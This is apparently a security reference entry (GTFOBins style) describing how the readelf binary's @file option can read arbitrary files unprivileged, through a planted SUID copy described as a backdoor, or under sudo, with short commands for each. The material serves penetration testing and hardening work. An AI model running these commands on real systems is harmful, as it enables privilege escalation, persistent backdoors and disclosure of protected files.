Each line is corrupted by a prefix string and wrapped inside single quotes. Also consider that lines are actually parsed as readelf options thus some file contents may lead to unexpected results.
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read
readelf -a @$LFILEIt runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p, omit the -p argument on systems
like Debian that allow the default sh shell to run with SUID privileges.
sudo sh -c 'cp $(which readelf) .; chmod +s ./readelf'
LFILE=file_to_read
./readelf -a @$LFILEIt runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
LFILE=file_to_read
sudo readelf -a @$LFILE